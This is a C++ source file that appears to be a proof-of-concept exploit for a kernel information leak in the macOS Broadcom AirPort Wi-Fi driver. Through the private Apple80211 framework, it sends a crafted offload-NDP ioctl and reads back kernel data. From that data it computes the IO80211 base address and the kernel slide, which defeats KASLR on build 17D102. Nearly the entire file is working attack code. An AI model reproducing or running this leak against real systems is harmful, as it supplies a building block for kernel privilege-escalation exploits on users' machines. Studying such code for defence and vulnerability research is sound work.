// clang++ *.cpp -o leak -framework CoreFoundation -framework IOKit
// clang++ *.cpp -o test -framework CoreFoundation -framework IOKit
#include "import.h"

uint64_t func_addr = 0;
uint64_t kslide = 0;
uint64_t kern_obj_addr = 0;

lsym_map_t* mapping_kernel;
void *libHandle;
int (*apple80211Open)(void *);
int (*apple80211Bind)(void *, CFStringRef);
int (*apple80211Close)(void *);

bool Race = false;


lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
    if (!pointer) return pointer;
    return (lsym_slidden_kern_pointer_t) pointer + kslide;
}

uint64_t Apple80211Get(Apple80211Ref handle, uint32_t type, void * data, uint32_t length)
{
    struct apple80211_ioctl_str re;
    memset(&re, '\0', sizeof(re));
    strncpy(re.ifname, handle->interfaceName, 16);
    re.type   = type;
    re.length = length;
    re.data   = data;
    uint32_t ret = ioctl(handle->socket, APPLEGET, re);
    return ret;
}
uint32_t Apple80211Set(Apple80211Ref handle, uint32_t type, void * data, uint32_t length)
{
    struct apple80211_ioctl_str re;
    memset(&re, '\0', sizeof(re));
    strncpy(re.ifname, handle->interfaceName, 16);
    re.type   = type;
    re.length = length;
    re.data   = data;
    uint32_t ret = ioctl(handle->socket, APPLESET, re);
    return 0;
}

uint32_t getOffloadNDP(Apple80211Ref handle)
{
    unsigned int i;
    unsigned char buf[0x48];
    memset(buf, 0x41, sizeof(buf));
    uint32_t ret = Apple80211Get(handle, 0xC0, buf, sizeof(buf));
    printf("get Result : %d\n",ret);

    uint8_t *pp = (uint8_t *)buf;
    uint64_t *ppp = (uint64_t *)buf;

    for(int i=0; i<sizeof(buf); i++)
    {
        printf("%02X ",pp[i]);
        if(i % 16 == 15)
            printf("\n");
    }
    printf("\n");

    uint64_t io80211_base = ppp[5] - 0x54db6;
    uint64_t kslide = io80211_base - 0xffffff7f81b50000;
    uint64_t kernel_base = io80211_base + kslide;

    printf("[*] This Slide calculation is only correct at version 17D102");
    printf("[+] io80211_base : 0x%llX\n", io80211_base);
    printf("[+] kslide : 0x%llX\n", kslide);


    return ret;
}

uint32_t setOffloadNDP(Apple80211Ref handle)
{
    unsigned int i;
    unsigned char buf[0x48];
    memset(buf, 0, sizeof(buf));
    uint32_t *p = (uint32_t *)buf;
    p[1] = 0x8;
    printf("p[1] = 0x%X\n", p[1]);
    uint32_t ret = Apple80211Set(handle, 0xC0, buf, sizeof(buf));
    printf("set Result : %d\n",ret);

    return ret;
}

bool setting()
{
    kern_return_t c;
    sync();
    mapping_kernel = lsym_map_file("/mach_kernel");
    if (!mapping_kernel || !mapping_kernel->map) {
        mapping_kernel = lsym_map_file("/System/Library/Kernels/kernel");
    }
    if(!mapping_kernel)
    {
        return false;
    }
    libHandle = dlopen("/System/Library/PrivateFrameworks/Apple80211.framework/Apple80211", 0x1);
    apple80211Open = (int (*)(void *) ) dlsym(libHandle, "Apple80211Open");
    apple80211Bind = (int (*)(void *, CFStringRef)) dlsym(libHandle, "Apple80211BindToInterface");
    apple80211Close = (int (*)(void *)) dlsym(libHandle, "Apple80211Close");
    return true;
}


int main(int argc, char * argv[0])
{
    io_iterator_t iters;
    kern_return_t error;
    io_name_t className;
    io_service_t entry;

    printf("[+]Prepare\n");
    error = IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("AirPort_BrcmNIC_Interface"), &iters);
    if(error)
    {
        return -1;
    }
    entry = IOIteratorNext(iters);
    error = IOObjectGetClass(entry, className);

    char if_name[4096] = {0};
    uint32_t size = sizeof(if_name);
    if(IORegistryEntryGetProperty(entry, "BSD Name", if_name, &size))
    {
        printf("fail bsd Name\n");
        return -1;
    }
    printf("ifname: %s \n", if_name);

    Apple80211Ref handle;
    CFStringRef en0ifName;
    
    if(!setting())
    {
        return -1;
    }
    int rc = apple80211Open(&handle);
    if (rc) 
    { 
        fprintf(stderr, "apple80211Open failed..\n"); 
    }

    en0ifName = CFStringCreateWithCStringNoCopy(NULL, (const char *)if_name, kCFStringEncodingMacRoman, NULL);
    rc = apple80211Bind(handle, en0ifName);
    if (rc) 
    {
        fprintf(stderr, "iterface bind failed..\n");
        return -1;
    }

    setOffloadNDP(handle);
    getOffloadNDP(handle);

    bool ret = false;

    return ret;
}
